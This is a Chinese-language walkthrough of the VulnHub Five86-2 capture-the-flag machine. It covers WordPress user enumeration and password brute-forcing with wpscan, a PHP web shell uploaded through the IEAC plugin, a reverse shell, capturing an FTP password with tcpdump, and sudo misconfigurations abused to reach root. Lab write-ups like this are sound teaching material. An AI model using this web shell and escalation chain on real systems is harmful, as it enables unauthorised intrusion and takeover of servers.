Five86-2靶机渗透实战

不问归期 提交于 2021-01-22 17:40:39

靶机地址:http://www.vulnhub.com/entry/five86-2,418/

本文涉及知识点实操练习:相关实验:VulnHub渗透测试实战靶场Node 1.0 (Node 1.0 是一个难度为中等的Boot2root/CTF挑战,靶场环境最初由 HackTheBox 创建,实验目的是获取两个flag)

技术点总结

• 对WordPress网站的渗透

wpscan

• WordPress中IEAC插件的RCE漏洞

WordPress插件IEAC漏洞分析及组合利用尝试

• tcpdump的使用

tcpdump使用详解

目标发现

nmap -sP 参数使用 ping 扫描局域网主机,目的地址为 192.168.56.6

扫描局域网主机

nmap -A 192.168.56.6 -p- 可以看到目标主机的一些信息,-A 是进行操作系统指纹和版本检测,-p- 是全端口

目标主机的一些信息

开放了 22、21、80 端口,并且 80 端口是WordPress 5.1.4的CMS

这里最好提前在/etc/hosts中加上192.168.56.6 five86-2这一条,因为后面访问wordpress的后台wp-admin时会跳转到到这个域名

跳转到到这个域名

漏洞发现与利用

在searchsploit和Google并没有发现WordPress 5.1.4的漏洞,可以用wpscan扫描一下这个URL。wpscan是一款针对WordPress的扫描器,详细的使用可以参考WPScan使用完整攻略

默认扫描会返回目标站点的中间件、XML-RPC、readme文件、上传路径、WP-Corn、版本、主题、所有的插件和备份文件。

命令wpscan -u http://192.168.56.6/

命令wpscan

这里并没有发现很有用的信息,考虑去枚举用户名,然后配合rockyou.txt去爆破密码。爆破用户名命令wpscan --url http://192.168.56.6/--enumerate u,发现了5个用户

peteradminbarneygillianstephen

wps5.jpg

爆破密码命令wpscan --url http://192.168.56.6/-U user.txt -P /usr/share/wordlists/rockyou.txt

6.png

最终爆破出来两个结果

Username: barney, Password: spooky1Username: stephen, Password: apollo1

使用barney登录后台http://five86-2/wp-admin/,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC)

Akismet Anti-Spam Version 4.1.1Hello Dolly Version 1.7.1IEAC Version 4.2995

7.png

在谷歌上搜索一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试,在exploit-db上也有

先生成poc.zip,

echo "hello" > index.htmlecho "<?php echo system($_GET['cmd']); ?>" > index.phpzip poc.zip index.html index.php

然后登录wordpress后台,选择新建文章

8.png

选择添加区块

9.png

选择E-Learning

10.png

上传poc.zip

11.png

选择Insert As iFrame

12.png

可以看到上传的位置,也就是说上次的shell位置为http://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php

13.png

测试shellhttp://192.168.56.6/wp-content/uploads/articulate_uploads/poc/index.php?cmd=whoami这就拿到了shell

14.png

使用php-reverse-shell去反弹shell,访问http://192.168.56.6/wp-content/uploads/articulate_uploads/poc4/shell.php就可以看到反弹的shell,还不是TTY,接下来就想办法变成TTY吧

15.png

16.png

ls /home发现有8个目录,刚刚爆破来两个密码,一个登陆了后台,还有一个没有测试,并且两个都在这8个用户里面。可以先试试su barney,密码填spooky1,发现失败,再试试stephen,密码apollo1。这里的shell不知道为什么没有前面的$了,但是可以用

17.png

实际上,这里的www-data可以直接使用python3 -c 'import pty;pty.spawn("/bin/bash")'变成TTY,这样可能更方便一些

18.png

然后再sudo -l发现需要密码,并且不是spooky1,所以还是su stephen吧,发现stephen在一个名为pcap的用户组中(pcap不是流量包吗^_^)

19.png

然后sudo -l发现无法执行sudo

20.png

回到pcap那里,流量包是不是意味着流量分析,尝试ifconfig发现没有这个命令,但是可以使用ip add,发现目前运行着几个网络接口

21.png

这里的最后一个接口好像是动态的,每次都不一样,可以使用tcpdump -D列出可用于抓包的接口。这里选择把后面两个抓下来,因为不怎么常见。抓包命令为timeout 120 tcpdump -w 1.pcap -i veth2c37c59,其中timeout 120是指2分钟,-w是将结果输出到文件,-i是指定监听端口

22.png

23.png

可以去分析一下这两个流量包,命令tcpdump -r 1.pcap,这里-r是从给定的流量包读取数据,不难发现paul用户FTP的密码esomepasswford。后面2.pcap与1.pcap内容相同。

24.png

接着su paul,用上面的那个密码发现可以登陆。尝试sudo -l发现stephen可以使用peter的service命令

25.png

那不就可以直接执行peter的/bin/bash了吗。命令sudo -u peter service /bin/bash。这里要注意一下目录的问题,用相对目录找到/bin/bash的位置

26.png

获取peter的权限后,还是先sudo -l,发现他可以运行root用户的passwd命令,这我直接修改root的密码不就获取root权限了吗

27.png

是时候表演真正的技术了。sudo -u root passwd root(强迫症,全文一致),用sudo passwd root一样的

28.png

找到flag

找到flag

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!